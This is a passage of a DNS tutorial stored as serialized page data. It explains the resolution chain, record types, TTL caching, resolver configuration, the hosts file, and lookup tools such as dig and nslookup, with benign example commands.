",[34,16282,16283],{},"www.github.com"," into your browser and press Enter.",[11,16286,16287],{},[426,16288],{"alt":16289,"src":16290},"Full DNS lookup flow from browser to authoritative server","/post-images/dns-explained-how-domain-name-system-works/dns-lookup-flow-sequence-diagram.png",[85,16292,16295],{"className":16293,"code":16294,"language":8778},[8776],"Your Browser\n    │\n    ├─ Check 1: Browser DNS cache\n    │   (Did we look this up recently? Use the cached answer if TTL hasn't expired.)\n    │\n    ├─ Check 2: OS DNS cache + hosts file\n    │   (Does /etc/hosts have an entry? Did the OS already cache this?)\n    │\n    └─ Query: Ask the Recursive Resolver (e.g., 1.1.1.1)\n               │\n               ├─ Check 3: Resolver's own cache\n               │   (Has this resolver seen this query recently?)\n               │\n               ├─ Ask a Root Name Server\n               │   \"I need to resolve github.com. Help?\"\n               │   Root: \"I don't know the IP, but here are the .com TLD servers.\"\n               │\n               ├─ Ask the .com TLD Name Server\n               │   \"Who is authoritative for github.com?\"\n               │   TLD: \"Go ask ns1.p16.dynect.net\"\n               │\n               └─ Ask github.com's Authoritative Name Server\n                   \"What is the IP for www.github.com?\"\n                   Auth: \"It is 140.82.121.3\" (A record)\n                   │\n                   └─ Resolver returns 140.82.121.3 to your browser\n                       │\n                       └─ Browser connects to 140.82.121.3 over TCP/HTTPS\n                           Page loads.\n",[34,16296,16294],{"__ignoreMap":90},[11,16298,16299],{},"The entire process typically takes between 10 and 100 milliseconds. After this first lookup, the answer is cached at multiple levels, so future queries skip most of these steps and return almost instantly.",[11,16301,16302],{},"Let's look at each stage more carefully.",[23,16304,16306],{"id":16305},"checking-local-caches-first","Checking Local Caches First",[11,16308,16309],{},[426,16310],{"alt":16311,"src":16312},"DNS caching layers from browser to network","/post-images/dns-explained-how-domain-name-system-works/dns-caching-layers.png",[11,16314,16315],{},"Before any network request is made, your system checks several local caches in sequence:",[11,16317,16318,16321,16322,360],{},[1183,16319,16320],{},"Browser cache:"," Chrome, Firefox, and other browsers maintain their own DNS cache. You can inspect Chrome's DNS cache at ",[34,16323,16324],{},"chrome://net-internals/#dns",[11,16326,16327,16330,16331,16334,16335,16338],{},[1183,16328,16329],{},"OS DNS cache:"," Your operating system caches DNS results separately. On Linux, this is typically handled by ",[34,16332,16333],{},"systemd-resolved",". On macOS, by ",[34,16336,16337],{},"mDNSResponder",". On Windows, by the DNS Client service.",[11,16340,16341,16344],{},[1183,16342,16343],{},"The hosts file:"," Before querying any DNS server, your OS reads a local text file:",[483,16346,16347,16353],{},[486,16348,16349,16350],{},"Linux/Mac: ",[34,16351,16352],{},"/etc/hosts",[486,16354,16355,16356],{},"Windows: ",[34,16357,16358],{},"C:\\Windows\\System32\\drivers\\etc\\hosts",[11,16360,16361],{},"This file lets you manually map domain names to IP addresses. It predates DNS entirely and takes precedence over any DNS lookup for the entries it contains.",[85,16363,16366],{"className":16364,"code":16365,"language":8778},[8776],"# /etc/hosts example\n127.0.0.1     localhost\n::1           localhost\n\n# Point a custom local domain to your dev machine\n192.168.1.10  myapp.local\n192.168.1.10  api.myapp.local\n\n# Block a domain by pointing it to nothing\n127.0.0.1     ads.annoying-tracker.com\n",[34,16367,16365],{"__ignoreMap":90},[23,16369,16371],{"id":16370},"contacting-the-recursive-resolver","Contacting the Recursive Resolver",[11,16373,16374],{},"If no local cache has the answer, your computer sends a DNS query to the recursive resolver configured on your system (received via DHCP when you connected to the network, or set manually).",[11,16376,16377],{},"The resolver is the workhorse of the entire system. It contacts all the other servers on your behalf and returns a final answer. Your computer never talks to root servers or authoritative servers directly.",[23,16379,16381],{"id":16380},"the-resolution-chain","The Resolution Chain",[11,16383,16384],{},"If the resolver's own cache is also empty, it starts the chain of iterative queries:",[11,16386,16387,16390,16391,16393,16394,16396,16397,16399],{},[1183,16388,16389],{},"Asking a root server:"," The resolver contacts one of the 13 root server clusters and asks about ",[34,16392,16283],{},". The root server does not know the answer, but it knows who manages ",[34,16395,16155],{},". It responds with a list of ",[34,16398,16155],{}," TLD name server addresses.",[11,16401,16402,16405,16406,16408,16409,16411,16412,16414,16415,346,16418,16421],{},[1183,16403,16404],{},"Asking the TLD server:"," The resolver asks the ",[34,16407,16155],{}," TLD server who is authoritative for ",[34,16410,16025],{},". The TLD server looks up its records and responds: \"The authoritative name servers for ",[34,16413,16025],{}," are ",[34,16416,16417],{},"ns1.p16.dynect.net",[34,16419,16420],{},"ns2.p16.dynect.net",", etc. Go ask them.\"",[11,16423,16424,16427,16428,16430],{},[1183,16425,16426],{},"Asking the authoritative server:"," The resolver contacts GitHub's authoritative name server and asks for the A record for ",[34,16429,16283],{},". The authoritative server has the actual DNS records and responds with the IP address.",[11,16432,16433],{},"The resolver caches this answer (for the duration of the TTL, covered below) and returns it to your computer. Your browser then opens a TCP connection to that IP and loads the page.",[18,16435,16437],{"id":16436},"dns-record-types-the-different-kinds-of-answers","DNS Record Types: The Different Kinds of Answers",[11,16439,16440],{},"DNS is not just about IP addresses. There are many types of DNS records, each serving a different purpose. All of them are stored on authoritative name servers.",[497,16442,16443,16456],{},[500,16444,16445],{},[503,16446,16447,16450,16453],{},[506,16448,16449],{},"Record Type",[506,16451,16452],{},"Purpose",[506,16454,16455],{},"Example Value",[519,16457,16458,16472,16487,16501,16516,16531,16546,16559,16573,16588],{},[503,16459,16460,16464,16467],{},[524,16461,16462],{},[34,16463,4152],{},[524,16465,16466],{},"Maps a hostname to an IPv4 address",[524,16468,16469],{},[34,16470,16471],{},"140.82.121.3",[503,16473,16474,16479,16482],{},[524,16475,16476],{},[34,16477,16478],{},"AAAA",[524,16480,16481],{},"Maps a hostname to an IPv6 address",[524,16483,16484],{},[34,16485,16486],{},"2606:50c0:8000::153",[503,16488,16489,16494,16497],{},[524,16490,16491],{},[34,16492,16493],{},"CNAME",[524,16495,16496],{},"Alias: points one name to another name",[524,16498,16499],{},[34,16500,16209],{},[503,16502,16503,16508,16511],{},[524,16504,16505],{},[34,16506,16507],{},"MX",[524,16509,16510],{},"Specifies mail servers for a domain",[524,16512,16513],{},[34,16514,16515],{},"10 aspmx.l.google.com.",[503,16517,16518,16523,16526],{},[524,16519,16520],{},[34,16521,16522],{},"TXT",[524,16524,16525],{},"Arbitrary text (SPF, DKIM, site verification)",[524,16527,16528],{},[34,16529,16530],{},"\"v=spf1 include:_spf.google.com ~all\"",[503,16532,16533,16538,16541],{},[524,16534,16535],{},[34,16536,16537],{},"NS",[524,16539,16540],{},"Delegates a zone to authoritative name servers",[524,16542,16543],{},[34,16544,16545],{},"ns1.p16.dynect.net.",[503,16547,16548,16553,16556],{},[524,16549,16550],{},[34,16551,16552],{},"SOA",[524,16554,16555],{},"Start of Authority: metadata about the zone",[524,16557,16558],{},"Serial, refresh, retry times",[503,16560,16561,16566,16569],{},[524,16562,16563],{},[34,16564,16565],{},"PTR",[524,16567,16568],{},"Reverse lookup: IP address to hostname",[524,16570,16571],{},[34,16572,16209],{},[503,16574,16575,16580,16583],{},[524,16576,16577],{},[34,16578,16579],{},"SRV",[524,16581,16582],{},"Service location: host and port for a service",[524,16584,16585],{},[34,16586,16587],{},"0 5 443 server.example.com.",[503,16589,16590,16595,16598],{},[524,16591,16592],{},[34,16593,16594],{},"CAA",[524,16596,16597],{},"Which Certificate Authorities can issue TLS certs",[524,16599,16600],{},[34,16601,16602],{},"\"0 issue letsencrypt.org\"",[11,16604,16605],{},"Let's walk through the most important ones.",[23,16607,16609],{"id":16608},"a-and-aaaa-records","A and AAAA Records",[11,16611,16612,16613,16615,16616,16618],{},"These are the most fundamental record types. An ",[34,16614,4152],{}," record maps a domain to an IPv4 address. An ",[34,16617,16478],{}," record maps to an IPv6 address.",[85,16620,16623],{"className":16621,"code":16622,"language":8778},[8776],"; Format: name  TTL  class  type  value\ngithub.com.     60   IN     A     140.82.121.3\ngithub.com.     60   IN     AAAA  2606:50c0:8000::153\n",[34,16624,16622],{"__ignoreMap":90},[11,16626,16627],{},"A single domain can have multiple A records, each pointing to a different IP address. This is a simple form of load balancing: resolvers rotate through them, distributing traffic across multiple servers.",[85,16629,16632],{"className":16630,"code":16631,"language":8778},[8776],"; Multiple A records for round-robin load balancing\napp.example.com.  60  IN  A  10.0.0.1\napp.example.com.  60  IN  A  10.0.0.2\napp.example.com.  60  IN  A  10.0.0.3\n",[34,16633,16631],{"__ignoreMap":90},[23,16635,16637],{"id":16636},"cname-records","CNAME Records",[11,16639,16640],{},"A CNAME (Canonical Name) record creates an alias from one domain name to another. Instead of pointing to an IP address, it points to a different domain name.",[85,16642,16645],{"className":16643,"code":16644,"language":8778},[8776],"www.github.com.    3600  IN  CNAME  github.com.\nblog.example.com.  3600  IN  CNAME  mysite.wordpress.com.\n",[34,16646,16644],{"__ignoreMap":90},[11,16648,16649,16650,16652,16653,16655,16656,16658],{},"When a resolver encounters a CNAME, it follows the chain: \"I was looking for ",[34,16651,16283],{},", but that's a CNAME pointing to ",[34,16654,16025],{},". Now let me look up ",[34,16657,16025],{},".\"",[11,16660,16661],{},[1183,16662,16663],{},"Important CNAME limitations:",[483,16665,16666,16672,16675],{},[486,16667,16668,16669,16671],{},"You cannot put a CNAME on a bare/apex domain (",[34,16670,8899],{},") if that domain has any other records. An apex domain with both a CNAME and an MX record would be invalid.",[486,16673,16674],{},"CNAMEs can only point to other domain names, never to IP addresses directly.",[486,16676,16677],{},"Long CNAME chains (pointing to another CNAME, pointing to another) add extra lookup steps.",[16061,16679,16680],{},[11,16681,16682],{},"Many DNS providers offer \"ALIAS\" or \"ANAME\" records as a solution to the apex domain problem. They behave like CNAMEs but can sit at the root. Under the hood, the provider resolves the target and returns its IP directly.",[23,16684,16686],{"id":16685},"mx-records","MX Records",[11,16688,16689],{},"MX (Mail Exchanger) records tell email servers where to deliver mail for a domain. Each record has a priority value: lower number means higher priority. If the highest-priority server is unavailable, the next one is tried.",[85,16691,16694],{"className":16692,"code":16693,"language":8778},[8776],"; Priority  Mail server\ngithub.com.  3600  IN  MX  1   aspmx.l.google.com.\ngithub.com.  3600  IN  MX  5   alt1.aspmx.l.google.com.\ngithub.com.  3600  IN  MX  10  alt2.aspmx.l.google.com.\n",[34,16695,16693],{"__ignoreMap":90},[11,16697,16698,16699,16702,16703,16705],{},"When someone sends an email to ",[34,16700,16701],{},"user@github.com",", their mail server looks up the MX records for ",[34,16704,16025],{}," and delivers the message to the highest-priority server that responds.",[23,16707,16709],{"id":16708},"txt-records","TXT Records",[11,16711,16712],{},"TXT records store arbitrary text. They were originally for human-readable notes, but today they are critical for email authentication and domain ownership verification.",[11,16714,16715],{},"Common uses:",[11,16717,16718,16721],{},[1183,16719,16720],{},"SPF (Sender Policy Framework):"," Declares which servers are authorised to send email for your domain. Receiving mail servers check this before accepting messages.",[11,16723,16724,16727],{},[1183,16725,16726],{},"DKIM (DomainKeys Identified Mail):"," Publishes a public key used to verify that email signatures match, proving the email was not forged or altered.",[11,16729,16730,16733],{},[1183,16731,16732],{},"DMARC:"," Tells receiving servers what to do with messages that fail SPF or DKIM checks (reject them, quarantine them, or just report them).",[11,16735,16736,16739],{},[1183,16737,16738],{},"Domain verification:"," Services like Google Search Console ask you to add a TXT record to prove domain ownership before granting access.",[85,16741,16744],{"className":16742,"code":16743,"language":8778},[8776],"; SPF record\nexample.com.  IN  TXT  \"v=spf1 include:_spf.google.com include:sendgrid.net ~all\"\n\n; DKIM public key (partial for readability)\ngoogle._domainkey.example.com.  IN  TXT  \"v=DKIM1; k=rsa; p=MIGfMA0GCSq...\"\n\n; DMARC policy\n_dmarc.example.com.  IN  TXT  \"v=DMARC1; p=reject; rua=mailto:dmarc@example.com\"\n\n; Google site verification\nexample.com.  IN  TXT  \"google-site-verification=abc123xyz...\"\n",[34,16745,16743],{"__ignoreMap":90},[23,16747,16749],{"id":16748},"ns-records","NS Records",[11,16751,16752],{},"NS (Name Server) records declare which servers are authoritative for a domain. These are configured at your domain registrar and are what the TLD servers use to point resolvers toward your DNS provider.",[85,16754,16757],{"className":16755,"code":16756,"language":8778},[8776],"github.com.  IN  NS  ns1.p16.dynect.net.\ngithub.com.  IN  NS  ns2.p16.dynect.net.\ngithub.com.  IN  NS  ns3.p16.dynect.net.\ngithub.com.  IN  NS  ns4.p16.dynect.net.\n",[34,16758,16756],{"__ignoreMap":90},[11,16760,16761],{},"Domains always have at least two NS records for redundancy. If one authoritative name server is down, the others continue serving queries.",[23,16763,16765],{"id":16764},"ptr-records","PTR Records",[11,16767,16768,16769,360],{},"PTR records are the reverse of A records. Instead of mapping a name to an IP, they map an IP address back to a hostname. They live in a special domain called ",[34,16770,16771],{},"in-addr.arpa",[85,16773,16776],{"className":16774,"code":16775,"language":8778},[8776],"; Forward lookup\ngithub.com.                   A    140.82.121.3\n\n; Reverse lookup (note the IP is reversed)\n3.121.82.140.in-addr.arpa.    PTR  github.com.\n",[34,16777,16775],{"__ignoreMap":90},[11,16779,16780],{},"PTR records are particularly important for email. Mail servers frequently check that the sending IP address has a matching PTR record pointing back to a legitimate hostname. Missing or mismatched PTR records are a common cause of email being flagged as spam.",[23,16782,16784],{"id":16783},"soa-record","SOA Record",[11,16786,16787],{},"Every DNS zone has exactly one SOA (Start of Authority) record. It contains metadata that controls how the zone behaves.",[85,16789,16792],{"className":16790,"code":16791,"language":8778},[8776],"github.com.  IN  SOA  ns1.p16.dynect.net. admin.github.com. (\n    2024040101  ; Serial: incremented whenever the zone changes\n    3600        ; Refresh: how often secondary servers check for updates (seconds)\n    900         ; Retry: wait before retrying after a failed refresh\n    604800      ; Expire: how long secondaries keep data if primary is unreachable\n    300         ; Minimum TTL: default for negative caching (NXDOMAIN responses)\n)\n",[34,16793,16791],{"__ignoreMap":90},[18,16795,16797],{"id":16796},"ttl-how-dns-caching-works","TTL: How DNS Caching Works",[11,16799,16800,16801,16804],{},"Every DNS record has a ",[1183,16802,16803],{},"TTL (Time to Live)",", measured in seconds. This tells resolvers and clients how long they are allowed to cache the record before fetching a fresh copy.",[85,16806,16809],{"className":16807,"code":16808,"language":8778},[8776],"; TTL of 300 seconds (5 minutes)\ngithub.com.  300  IN  A  140.82.121.3\n             ^^^\n             This is the TTL\n",[34,16810,16808],{"__ignoreMap":90},[11,16812,16813],{},"When a resolver caches this record, it starts a countdown timer. After 300 seconds, it discards the cached answer and fetches a fresh one on the next query.",[11,16815,16816],{},[1183,16817,16818],{},"Lower TTL (60 to 300 seconds):",[483,16820,16821,16824,16827],{},[486,16822,16823],{},"DNS changes propagate faster across the internet",[486,16825,16826],{},"Higher query load on your DNS servers (cache expires more often)",[486,16828,16829],{},"Useful before making infrastructure changes",[11,16831,16832],{},[1183,16833,16834],{},"Higher TTL (3600 to 86400 seconds):",[483,16836,16837,16840,16843],{},[486,16838,16839],{},"Fewer queries to your DNS servers",[486,16841,16842],{},"Faster responses for end users (more cache hits)",[486,16844,16845],{},"But changes are slow to propagate: old values persist until every cache expires",[11,16847,16848],{},"When you change a DNS record, the internet does not instantly update. Old cached values continue serving the previous answer until their TTL expires. This is what people call \"DNS propagation time.\"",[16061,16850,16851],{},[11,16852,16853],{},"Before making a major DNS change (like migrating to a new server), lower your TTL to 300 seconds at least a day in advance. Once your change is live and confirmed working, raise it back to a higher value.",[18,16855,16857],{"id":16856},"recursive-vs-iterative-queries","Recursive vs. Iterative Queries",[11,16859,16860],{},"DNS supports two different querying modes that work at different levels of the system.",[11,16862,16863],{},[426,16864],{"alt":16865,"src":16866},"Recursive query versus iterative query side by side","/post-images/dns-explained-how-domain-name-system-works/recursive-vs-iterative-dns.png",[23,16868,16870],{"id":16869},"recursive-queries","Recursive Queries",[11,16872,16873],{},"In a recursive query, you ask for a complete final answer and the server does all the work for you. Your computer sends recursive queries to its configured resolver. The resolver takes full responsibility for finding the answer, however many steps that requires.",[23,16875,16877],{"id":16876},"iterative-queries","Iterative Queries",[11,16879,16880],{},"In an iterative query, the server you ask does not go fetch the answer for you. Instead, it gives you a referral: \"I don't know, but try asking this other server.\" You do the next step yourself.",[11,16882,16883,16884,16886,16887,16889],{},"When your recursive resolver talks to root servers and TLD servers, it uses iterative queries. The root server does not resolve ",[34,16885,16025],{}," for the resolver. It just says \"try the ",[34,16888,16155],{}," TLD servers\" and the resolver makes that next request itself.",[85,16891,16894],{"className":16892,"code":16893,"language":8778},[8776],"Recursive (your computer to resolver):\n  Computer:  \"What is the IP for github.com? Find out completely.\"\n  Resolver:  \"140.82.121.3\" (does all internal work, returns final answer)\n\nIterative (resolver talking to root/TLD/authoritative):\n  Resolver:  \"What is the IP for github.com?\"\n  Root:      \"I don't know. Try ns.verisign-tld.com for .com\"\n\n  Resolver:  \"What is the IP for github.com?\"\n  TLD:       \"I don't know. Try ns1.p16.dynect.net for github.com\"\n\n  Resolver:  \"What is the IP for www.github.com?\"\n  Auth:      \"It's 140.82.121.3\"\n\n  Resolver returns 140.82.121.3 to your computer.\n",[34,16895,16893],{"__ignoreMap":90},[18,16897,16899],{"id":16898},"how-your-computer-knows-which-resolver-to-use","How Your Computer Knows Which Resolver to Use",[11,16901,16902,16903,16906],{},"When you connect to a network, your device receives DNS resolver addresses via ",[1183,16904,16905],{},"DHCP"," alongside your IP address, default gateway, and subnet mask. Your ISP's resolver is typically assigned this way.",[11,16908,16909],{},"You can override this in your OS network settings or on your router. Popular public resolvers:",[497,16911,16912,16928],{},[500,16913,16914],{},[503,16915,16916,16919,16922,16925],{},[506,16917,16918],{},"Provider",[506,16920,16921],{},"IPv4 Primary",[506,16923,16924],{},"IPv4 Secondary",[506,16926,16927],{},"Characteristic",[519,16929,16930,16947,16964,16982],{},[503,16931,16932,16935,16939,16944],{},[524,16933,16934],{},"Cloudflare",[524,16936,16937],{},[34,16938,16237],{},[524,16940,16941],{},[34,16942,16943],{},"1.0.0.1",[524,16945,16946],{},"Privacy-focused, consistently fast",[503,16948,16949,16952,16956,16961],{},[524,16950,16951],{},"Google",[524,16953,16954],{},[34,16955,16233],{},[524,16957,16958],{},[34,16959,16960],{},"8.8.4.4",[524,16962,16963],{},"Reliable, widely trusted",[503,16965,16966,16969,16974,16979],{},[524,16967,16968],{},"Quad9",[524,16970,16971],{},[34,16972,16973],{},"9.9.9.9",[524,16975,16976],{},[34,16977,16978],{},"149.112.112.112",[524,16980,16981],{},"Blocks known malicious domains",[503,16983,16984,16987,16992,16997],{},[524,16985,16986],{},"OpenDNS",[524,16988,16989],{},[34,16990,16991],{},"208.67.222.222",[524,16993,16994],{},[34,16995,16996],{},"208.67.220.220",[524,16998,16999],{},"Customisable, parental controls",[11,17001,17002],{},"To check which resolver your system is currently using:",[85,17004,17008],{"className":17005,"code":17006,"language":17007,"meta":90,"style":90},"language-bash shiki shiki-themes github-dark","# Linux (most systems)\ncat /etc/resolv.conf\n# nameserver 1.1.1.1\n# nameserver 8.8.8.8\n\n# macOS\nscutil --dns | grep nameserver\n\n# Windows\nipconfig /all | findstr \"DNS Servers\"\n","bash",[34,17009,17010,17015,17023,17028,17033,17037,17042,17059,17063,17068],{"__ignoreMap":90},[94,17011,17012],{"class":96,"line":97},[94,17013,17014],{"class":790},"# Linux (most systems)\n",[94,17016,17017,17020],{"class":96,"line":111},[94,17018,17019],{"class":146},"cat",[94,17021,17022],{"class":153}," /etc/resolv.conf\n",[94,17024,17025],{"class":96,"line":122},[94,17026,17027],{"class":790},"# nameserver 1.1.1.1\n",[94,17029,17030],{"class":96,"line":138},[94,17031,17032],{"class":790},"# nameserver 8.8.8.8\n",[94,17034,17035],{"class":96,"line":164},[94,17036,289],{"emptyLinePlaceholder":288},[94,17038,17039],{"class":96,"line":174},[94,17040,17041],{"class":790},"# macOS\n",[94,17043,17044,17047,17050,17053,17056],{"class":96,"line":188},[94,17045,17046],{"class":146},"scutil",[94,17048,17049],{"class":757}," --dns",[94,17051,17052],{"class":753}," |",[94,17054,17055],{"class":146}," grep",[94,17057,17058],{"class":153}," nameserver\n",[94,17060,17061],{"class":96,"line":203},[94,17062,289],{"emptyLinePlaceholder":288},[94,17064,17065],{"class":96,"line":1695},[94,17066,17067],{"class":790},"# Windows\n",[94,17069,17070,17073,17076,17078,17081],{"class":96,"line":1702},[94,17071,17072],{"class":146},"ipconfig",[94,17074,17075],{"class":153}," /all",[94,17077,17052],{"class":753},[94,17079,17080],{"class":146}," findstr",[94,17082,17083],{"class":153}," \"DNS Servers\"\n",[18,17085,17087],{"id":17086},"the-hosts-file-dns-before-dns","The hosts File: DNS Before DNS",[11,17089,4305,17090,17092,17093,17095],{},[34,17091,16352],{}," file (or ",[34,17094,16358],{}," on Windows) is a simple text file that maps hostnames to IP addresses. It is read before any DNS query is made, so entries in this file always override DNS.",[85,17097,17100],{"className":17098,"code":17099,"language":8778},[8776],"# /etc/hosts\n127.0.0.1     localhost\n::1           localhost ip6-localhost\n\n# Local development: custom domain pointing to your machine\n127.0.0.1     myapp.local\n127.0.0.1     api.myapp.local\n127.0.0.1     admin.myapp.local\n\n# Override a real domain for testing (dangerous: use carefully)\n192.168.1.50  staging.example.com\n",[34,17101,17099],{"__ignoreMap":90},[11,17103,17104,17105,17108],{},"The hosts file is useful for local development (no need for a local DNS server), testing staging environments, and blocking domains by pointing them to ",[34,17106,17107],{},"127.0.0.1"," (the machine itself, which has no web server on the expected port).",[18,17110,17112],{"id":17111},"dns-tools-every-developer-should-know","DNS Tools Every Developer Should Know",[23,17114,17115],{"id":17115},"dig",[11,17117,17118,17120],{},[34,17119,17115],{}," (Domain Information Groper) is the most powerful DNS debugging tool. It shows you exactly what DNS servers return, including raw record data and query timing.",[85,17122,17124],{"className":17005,"code":17123,"language":17007,"meta":90,"style":90},"# Basic A record lookup\ndig github.com\n\n# Query a specific record type\ndig github.com MX\ndig github.com TXT\ndig github.com NS\ndig github.com AAAA\n\n# Query a specific DNS server directly\ndig @1.1.1.1 github.com\n\n# See the full resolution chain (root, TLD, authoritative)\ndig +trace github.com\n\n# Short output: just the answer\ndig +short github.com\n\n# Reverse lookup (IP to hostname)\ndig -x 140.82.121.3\n",[34,17125,17126,17131,17138,17142,17147,17157,17166,17175,17184,17188,17193,17202,17206,17211,17220,17224,17229,17238,17242,17248],{"__ignoreMap":90},[94,17127,17128],{"class":96,"line":97},[94,17129,17130],{"class":790},"# Basic A record lookup\n",[94,17132,17133,17135],{"class":96,"line":111},[94,17134,17115],{"class":146},[94,17136,17137],{"class":153}," github.com\n",[94,17139,17140],{"class":96,"line":122},[94,17141,289],{"emptyLinePlaceholder":288},[94,17143,17144],{"class":96,"line":138},[94,17145,17146],{"class":790},"# Query a specific record type\n",[94,17148,17149,17151,17154],{"class":96,"line":164},[94,17150,17115],{"class":146},[94,17152,17153],{"class":153}," github.com",[94,17155,17156],{"class":153}," MX\n",[94,17158,17159,17161,17163],{"class":96,"line":174},[94,17160,17115],{"class":146},[94,17162,17153],{"class":153},[94,17164,17165],{"class":153}," TXT\n",[94,17167,17168,17170,17172],{"class":96,"line":188},[94,17169,17115],{"class":146},[94,17171,17153],{"class":153},[94,17173,17174],{"class":153}," NS\n",[94,17176,17177,17179,17181],{"class":96,"line":203},[94,17178,17115],{"class":146},[94,17180,17153],{"class":153},[94,17182,17183],{"class":153}," AAAA\n",[94,17185,17186],{"class":96,"line":1695},[94,17187,289],{"emptyLinePlaceholder":288},[94,17189,17190],{"class":96,"line":1702},[94,17191,17192],{"class":790},"# Query a specific DNS server directly\n",[94,17194,17195,17197,17200],{"class":96,"line":1714},[94,17196,17115],{"class":146},[94,17198,17199],{"class":153}," @1.1.1.1",[94,17201,17137],{"class":153},[94,17203,17204],{"class":96,"line":1726},[94,17205,289],{"emptyLinePlaceholder":288},[94,17207,17208],{"class":96,"line":5586},[94,17209,17210],{"class":790},"# See the full resolution chain (root, TLD, authoritative)\n",[94,17212,17213,17215,17218],{"class":96,"line":6797},[94,17214,17115],{"class":146},[94,17216,17217],{"class":153}," +trace",[94,17219,17137],{"class":153},[94,17221,17222],{"class":96,"line":6808},[94,17223,289],{"emptyLinePlaceholder":288},[94,17225,17226],{"class":96,"line":6821},[94,17227,17228],{"class":790},"# Short output: just the answer\n",[94,17230,17231,17233,17236],{"class":96,"line":6827},[94,17232,17115],{"class":146},[94,17234,17235],{"class":153}," +short",[94,17237,17137],{"class":153},[94,17239,17240],{"class":96,"line":6832},[94,17241,289],{"emptyLinePlaceholder":288},[94,17243,17245],{"class":96,"line":17244},19,[94,17246,17247],{"class":790},"# Reverse lookup (IP to hostname)\n",[94,17249,17251,17253,17256],{"class":96,"line":17250},20,[94,17252,17115],{"class":146},[94,17254,17255],{"class":757}," -x",[94,17257,17258],{"class":757}," 140.82.121.3\n",[11,17260,17261,17262,17264],{},"A typical ",[34,17263,17115],{}," response:",[85,17266,17269],{"className":17267,"code":17268,"language":8778},[8776],"; \u003C\u003C>> DiG 9.18.0 \u003C\u003C>> github.com\n;; QUESTION SECTION:\n;github.com.                  IN  A\n\n;; ANSWER SECTION:\ngithub.com.        60  IN  A  140.82.121.3\n\n;; Query time: 12 msec\n;; SERVER: 1.1.1.1#53(1.1.1.1)\n;; WHEN: Sun Apr 27 10:30:00 UTC 2026\n;; MSG SIZE rcvd: 55\n",[34,17270,17268],{"__ignoreMap":90},[11,17272,4305,17273,17276],{},[34,17274,17275],{},"+trace"," flag is the most valuable for debugging. It walks through every step of the resolution chain from root to authoritative:",[85,17278,17280],{"className":17005,"code":17279,"language":17007,"meta":90,"style":90},"dig +trace www.example.com\n\n# Output shows (abbreviated):\n.               518400  IN  NS  a.root-servers.net.\n# (13 root server entries)\n\ncom.            172800  IN  NS  a.gtld-servers.net.\n# (TLD servers for .com)\n\nexample.com.    172800  IN  NS  a.iana-servers.net.\n# (Authoritative servers for example.com)\n\nwww.example.com.  86400  IN  A  93.184.216.34\n# (Final answer from the authoritative server)\n",[34,17281,17282,17291,17295,17300,17316,17321,17325,17340,17345,17349,17364,17369,17373,17389],{"__ignoreMap":90},[94,17283,17284,17286,17288],{"class":96,"line":97},[94,17285,17115],{"class":146},[94,17287,17217],{"class":153},[94,17289,17290],{"class":153}," www.example.com\n",[94,17292,17293],{"class":96,"line":111},[94,17294,289],{"emptyLinePlaceholder":288},[94,17296,17297],{"class":96,"line":122},[94,17298,17299],{"class":790},"# Output shows (abbreviated):\n",[94,17301,17302,17304,17307,17310,17313],{"class":96,"line":138},[94,17303,360],{"class":757},[94,17305,17306],{"class":757},"               518400",[94,17308,17309],{"class":153},"  IN",[94,17311,17312],{"class":153},"  NS",[94,17314,17315],{"class":153},"  a.root-servers.net.\n",[94,17317,17318],{"class":96,"line":164},[94,17319,17320],{"class":790},"# (13 root server entries)\n",[94,17322,17323],{"class":96,"line":174},[94,17324,289],{"emptyLinePlaceholder":288},[94,17326,17327,17330,17333,17335,17337],{"class":96,"line":188},[94,17328,17329],{"class":146},"com.",[94,17331,17332],{"class":757},"            172800",[94,17334,17309],{"class":153},[94,17336,17312],{"class":153},[94,17338,17339],{"class":153},"  a.gtld-servers.net.\n",[94,17341,17342],{"class":96,"line":203},[94,17343,17344],{"class":790},"# (TLD servers for .com)\n",[94,17346,17347],{"class":96,"line":1695},[94,17348,289],{"emptyLinePlaceholder":288},[94,17350,17351,17354,17357,17359,17361],{"class":96,"line":1702},[94,17352,17353],{"class":146},"example.com.",[94,17355,17356],{"class":757},"    172800",[94,17358,17309],{"class":153},[94,17360,17312],{"class":153},[94,17362,17363],{"class":153},"  a.iana-servers.net.\n",[94,17365,17366],{"class":96,"line":1714},[94,17367,17368],{"class":790},"# (Authoritative servers for example.com)\n",[94,17370,17371],{"class":96,"line":1726},[94,17372,289],{"emptyLinePlaceholder":288},[94,17374,17375,17378,17381,17383,17386],{"class":96,"line":5586},[94,17376,17377],{"class":146},"www.example.com.",[94,17379,17380],{"class":757},"  86400",[94,17382,17309],{"class":153},[94,17384,17385],{"class":153},"  A",[94,17387,17388],{"class":757},"  93.184.216.34\n",[94,17390,17391],{"class":96,"line":6797},[94,17392,17393],{"class":790},"# (Final answer from the authoritative server)\n",[23,17395,17396],{"id":17396},"nslookup",[11,17398,17399,17401,17402,17404],{},[34,17400,17396],{}," is older but available on all platforms, including Windows, where ",[34,17403,17115],{}," is not installed by default.",[85,17406,17408],{"className":17005,"code":17407,"language":17007,"meta":90,"style":90},"# Basic lookup\nnslookup github.com\n\n# Query a specific type\nnslookup -type=MX github.com\nnslookup -type=TXT github.com\n\n# Query a specific server\nnslookup github.com 8.8.8.8\n",[34,17409,17410,17415,17421,17425,17430,17439,17448,17452,17457],{"__ignoreMap":90},[94,17411,17412],{"class":96,"line":97},[94,17413,17414],{"class":790},"# Basic lookup\n",[94,17416,17417,17419],{"class":96,"line":111},[94,17418,17396],{"class":146},[94,17420,17137],{"class":153},[94,17422,17423],{"class":96,"line":122},[94,17424,289],{"emptyLinePlaceholder":288},[94,17426,17427],{"class":96,"line":138},[94,17428,17429],{"class":790},"# Query a specific type\n",[94,17431,17432,17434,17437],{"class":96,"line":164},[94,17433,17396],{"class":146},[94,17435,17436],{"class":757}," -type=MX",[94,17438,17137],{"class":153},[94,17440,17441,17443,17446],{"class":96,"line":174},[94,17442,17396],{"class":146},[94,17444,17445],{"class":757}," -type=TXT",[94,17447,17137],{"class":153},[94,17449,17450],{"class":96,"line":188},[94,17451,289],{"emptyLinePlaceholder":288},[94,17453,17454],{"class":96,"line":203},[94,17455,17456],{"class":790},"# Query a specific server\n",[94,17458,17459,17461,17463],{"class":96,"line":1695},[94,17460,17396],{"class":146},[94,17462,17153],{"class":153},[94,17464,17465],{"class":757}," 8.8.8.8\n",[23,17467,17468],{"id":17468},"host",[11,17470,17471,17473,17474,17476],{},[34,17472,17468],{}," is a simple, readable alternative to ",[34,17475,17115],{}," for quick lookups:",[85,17478,17480],{"className":17005,"code":17479,"language":17007,"meta":90,"style":90},"host github.com\n# github.com has address 